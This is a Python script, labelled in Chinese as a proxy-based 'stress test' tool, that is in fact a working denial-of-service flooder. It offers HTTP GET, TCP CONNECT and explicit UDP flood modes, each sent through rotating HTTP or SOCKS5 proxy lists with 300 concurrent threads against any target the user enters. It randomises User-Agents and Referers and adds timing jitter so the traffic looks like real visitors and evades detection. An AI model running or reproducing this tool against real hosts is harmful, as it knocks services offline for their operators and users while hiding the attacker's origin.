使用http或socks5代理進行測壓的腳本

import requests
import concurrent.futures
import time
import os
import threading
import socket
import socks 
import random # NEW: 導入 random 庫以增加隨機性

# --- 配置參數 ---
# HTTP/TCP 模式使用的代理文件路徑
INPUT_HTTP_PROXY_FILE = 'working_proxies.txt'
# UDP 模式使用的 SOCKS5 代理文件路徑
INPUT_SOCKS5_PROXY_FILE = 'working_socks5_proxies.txt' 
# 單次請求的超時時間（秒）
TIMEOUT = 10 
# 最大並發線程數 (應設置得較高，以達到最大訪問量)
MAX_WORKERS = 300 
# 任務提交的隨機延遲範圍（秒）。例如 0.005 到 0.05 秒，用於模擬不規律的點擊間隔。
MIN_SUBMISSION_DELAY = 0.005 
MAX_SUBMISSION_DELAY = 0.05
# ------------------

# 線程安全的計數器
success_count = 0
fail_count = 0
lock = threading.Lock()

# 動態配置變量（在運行時由用戶輸入設置）
TARGET_HOST = None 
TARGET_PORT = None
TARGET_URL = None
ACCESS_MODE = None
RUN_DURATION_SECONDS = 0 

# 常用且真實的 User-Agent 列表 (用於模擬不同的瀏覽器)
USER_AGENTS = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5; rv:127.0) Gecko/20100101 Firefox/127.0',
    'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
    'Mozilla/5.0 (iPad; CPU OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
    'Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Mobile Safari/537.36',
]

# 隨機 Referer 列表 (模擬請求來源)
REFERERS = [
    'https://www.google.com/',
    'https://www.bing.com/',
    'https://duckduckgo.com/',
    'https://t.co/', # 模擬 Twitter/X 跳轉
    'https://www.facebook.com/',
    'https://www.reddit.com/',
    'https://www.zhihu.com/',
    'https://t.cn/', # 模擬微博短鏈
    'https://news.baidu.com/',
    'http://localhost/', # 模擬內部鏈接
    'https://www.wikipedia.org/'
]


def load_proxies(file_path):
    """從文件加載代理列表，返回 IP:PORT 列表"""
    if not os.path.exists(file_path):
        print(f"❌ 錯誤: 找不到代理文件: {file_path}")
        return []
    
    with open(file_path, 'r') as f:
        proxies = [p.strip() for p in f.readlines() if p.strip()]
    
    if not proxies:
        print("❌ 錯誤: 代理文件中沒有有效數據。")
    return proxies

def visit_target(proxy, request_id):
    """通過指定的代理或直接訪問目標 URL"""
    global success_count, fail_count, TARGET_URL, ACCESS_MODE, TIMEOUT, TARGET_HOST, TARGET_PORT
    
    if not ACCESS_MODE:
        with lock:
            fail_count += 1
        return
        
    # --- 模式 1: HTTP GET 請求 (使用 requests) ---
    if ACCESS_MODE == 'HTTP_GET':
        if not TARGET_URL:
             with lock: fail_count += 1
             return
             
        try:
            proxy_ip, proxy_port = proxy.split(':')
        except ValueError:
            proxy_ip, proxy_port = "Invalid", 0
        
        proxies = {
            'http': f'http://{proxy}',
            'https': f'http://{proxy}',
        }
        
        # NEW: 隨機化請求頭 (Randomize headers)
        headers = {
            'User-Agent': random.choice(USER_AGENTS), # 隨機選擇一個User-Agent
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', # 模擬接受中文/英文
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
            'Referer': random.choice(REFERERS) # NEW: 隨機的 Referer
        }
        
        try:
            # 發送請求
            response = requests.get(
                TARGET_URL, 
                proxies=proxies, 
                timeout=TIMEOUT,
                headers=headers, # 使用隨機化後的請求頭
                verify=False # 禁用SSL驗證
            )
            
            # 檢查響應狀態碼
            if response.status_code < 500: 
                with lock:
                    success_count += 1
            else:
                 with lock:
                    success_count += 1
                
        except requests.exceptions.RequestException:
            with lock:
                fail_count += 1
        except Exception:
            with lock:
                fail_count += 1

    # --- 模式 2: 裸 TCP 連接測試 (使用 socket) ---
    elif ACCESS_MODE == 'TCP_CONNECT':
        if not TARGET_HOST or not TARGET_PORT:
             with lock: fail_count += 1
             return
             
        try:
            proxy_ip, proxy_port = proxy.split(':')

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(TIMEOUT)
            
            # 嘗試連接代理本身
            s.connect((proxy_ip, int(proxy_port)))
            
            # 如果連接成功，嘗試發送 HTTP CONNECT 請求（隧道建立）
            # 雖然是TCP連接，但我們依然可以隨機化User-Agent，以防部分代理檢查
            user_agent = random.choice(USER_AGENTS)
            connect_request = f"CONNECT {TARGET_HOST}:{TARGET_PORT} HTTP/1.1\r\nHost: {TARGET_HOST}\r\nUser-Agent: {user_agent}\r\n\r\n"
            s.sendall(connect_request.encode('utf-8'))
            
            # 接收響應
            response = s.recv(4096).decode('utf-8')
            s.close()
            
            # 檢查代理是否返回 200 Connection established
            if "200 Connection established" in response:
                 with lock:
                    success_count += 1
            else:
                with lock:
                    fail_count += 1

        except Exception:
            with lock:
                fail_count += 1
    
    # --- 模式 3: UDP FLOOD (通過 SOCKS5 代理發送) ---
    elif ACCESS_MODE == 'UDP_FLOOD':
        if not TARGET_HOST or not TARGET_PORT:
             with lock: fail_count += 1
             return
             
        try:
            # 1. 拆分 SOCKS5 代理信息
            proxy_ip, proxy_port = proxy.split(':')
            
            # 2. 創建 SOCKS 代理套接字 (使用 SOCK_DGRAM 進行 UDP)
            s = socks.socksocket(socket.AF_INET, socket.SOCK_DGRAM) 
            s.set_proxy(socks.SOCKS5, proxy_ip, int(proxy_port))
            s.settimeout(TIMEOUT)
            
            # 簡單負載 (1024 字節)
            payload = os.urandom(1024) 
            
            # 3. 發送數據包。socks.sendto 會通過 SOCKS5 代理的 UDP 中繼進行轉發
            s.sendto(payload, (TARGET_HOST, TARGET_PORT))
            s.close()
            
            with lock:
                success_count += 1
        except Exception:
            with lock:
                fail_count += 1
                
    else:
        # 模式錯誤處理
        print(f"警告: 無效的 ACCESS_MODE: {ACCESS_MODE}")
        with lock:
            fail_count += 1


def batch_visit(proxies):
    """批量執行並發訪問任務，持續指定時長"""
    global ACCESS_MODE, success_count, fail_count, MAX_WORKERS, RUN_DURATION_SECONDS
    
    run_duration_seconds = RUN_DURATION_SECONDS
    start_time = time.time()
    end_time = start_time + run_duration_seconds
    
    total_requests_submitted = 0
    
    if len(proxies) == 0:
        print("沒有可用的代理，無法執行任務。程序終止。")
        return

    print(f"開始持續訪問任務。目標時長: {run_duration_seconds / 60:.1f} 分鐘, 訪問模式: {ACCESS_MODE}, 並發數: {MAX_WORKERS}")
    
    stop_monitoring = threading.Event()
    
    def monitor_status():
        """實時監控任務狀態"""
        while not stop_monitoring.is_set():
            time.sleep(1) # 每 1 秒更新一次
            
            completed_tasks = success_count + fail_count
            elapsed_time = time.time() - start_time
            rps = completed_tasks / elapsed_time if elapsed_time > 0 else 0
            
            # 實時進度輸出
            progress_line = (
                f"\r[運行中] 持續時間: {elapsed_time:.1f}s / {run_duration_seconds}s | "
                f"已提交: {total_requests_submitted} | 成功: {success_count} | 失敗: {fail_count} | RPS: {rps:.2f} req/s"
            )
            print(progress_line, end="", flush=True)

    monitor_thread = threading.Thread(target=monitor_status)
    monitor_thread.start()

    
    try:
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            i = 0
            num_proxies = len(proxies)
            
            # 持續提交循環
            while time.time() < end_time:
                # 循環使用代理列表
                proxy_to_use = proxies[i % num_proxies]
                
                # 提交任務
                executor.submit(visit_target, proxy_to_use, i + 1)
                i += 1
                total_requests_submitted = i
                
                # NEW: 引入隨機提交延遲，模擬用戶操作的不規律性
                sleep_time = random.uniform(MIN_SUBMISSION_DELAY, MAX_SUBMISSION_DELAY)
                time.sleep(sleep_time) 
            
            # 任務提交時間結束
            print(f"\n[時間到] 任務提交停止。已提交 {total_requests_submitted} 個請求。等待運行中的任務完成...")
            
    finally:
        # 確保監控線程停止
        stop_monitoring.set()
        if monitor_thread.is_alive():
             monitor_thread.join()
        
    # 3. 結果總結
    end_time_final = time.time()
    total_time = end_time_final - start_time
    final_rps = (success_count + fail_count) / total_time if total_time > 0 else 0

    print("\n--- 任務總結 ---")
    print(f"總運行時間: {total_time:.2f} 秒 (包含提交期和清理期)")
    print(f"總請求提交數: {total_requests_submitted}")
    print(f"成功訪問數: {success_count}")
    print(f"失敗數: {fail_count}")
    print(f"平均速度 (RPS): {final_rps:.2f} 請求/秒")


if __name__ == '__main__':
    # 1. 代理列表和模式初始化
    working_proxies = []
    
    # --- 交互式配置 ---
    print("\n--- 訪問模式選擇 ---")
    print("1. HTTP/HTTPS GET 請求 (通過 HTTP 代理訪問 Web 服務)")
    print("2. TCP CONNECT 隧道連接 (通過 HTTP 代理連接 IP:PORT)")
    print("3. UDP FLOOD (通過 SOCKS5 代理連接 IP:PORT)")
    
    mode_choice = input("請選擇訪問模式 (輸入 1, 2 或 3): ").strip()
    
    # 根據模式加載不同的代理文件
    if mode_choice == '1' or mode_choice == '2':
        working_proxies = load_proxies(INPUT_HTTP_PROXY_FILE)
        print(f"\n已加載 {len(working_proxies)} 個 HTTP 代理。")
        if not working_proxies:
             print("HTTP/TCP 模式需要有效代理列表，但列表為空。程序終止。")
             exit()
             
    elif mode_choice == '3':
        working_proxies = load_proxies(INPUT_SOCKS5_PROXY_FILE)
        print(f"\n已加載 {len(working_proxies)} 個 SOCKS5 代理。")
        if not working_proxies:
             print("UDP_FLOOD 模式需要有效 SOCKS5 代理列表，但列表為空。程序終止。")
             exit()

    else:
        print("輸入無效，程序終止。")
        exit()
        
    # --- 設置模式和目標 ---
    if mode_choice == '1':
        ACCESS_MODE = 'HTTP_GET'
        TARGET_URL = input("請輸入目標 URL (例如 http://httpbin.org/ip): ").strip() # 默認目標改為httpbin

    elif mode_choice == '2':
        ACCESS_MODE = 'TCP_CONNECT'
        target_input = input("請輸入目標 IP:PORT (例如 192.168.1.1:8080): ").strip()
        
        try:
            TARGET_HOST, TARGET_PORT = target_input.split(':')
            TARGET_PORT = int(TARGET_PORT)
        except ValueError:
            print("目標格式錯誤。請確保輸入格式為 IP:PORT。程序終止。")
            exit()
             
    elif mode_choice == '3':
        ACCESS_MODE = 'UDP_FLOOD'
        target_input = input("請輸入目標 IP:PORT (例如 192.168.1.1:53): ").strip()

        try:
            TARGET_HOST, TARGET_PORT = target_input.split(':')
            TARGET_PORT = int(TARGET_PORT)
        except ValueError:
            print("目標格式錯誤。請確保輸入格式為 IP:PORT。程序終止。")
            exit()
        
    # --- 設置運行時間 ---
    try:
        duration_minutes = input("請輸入持續訪問時長（分鐘，例如 5）：").strip()
        RUN_DURATION_SECONDS = int(duration_minutes) * 60
        if RUN_DURATION_SECONDS <= 0:
            print("持續時長必須大於 0，程序終止。")
            exit()
    except ValueError:
        print("無效的時長輸入，程序終止。")
        exit()

    print(f"目標: {TARGET_HOST}:{TARGET_PORT}" if ACCESS_MODE != 'HTTP_GET' else f"目標 URL: {TARGET_URL}")
    
    # 2. 批量並發訪問
    batch_visit(working_proxies)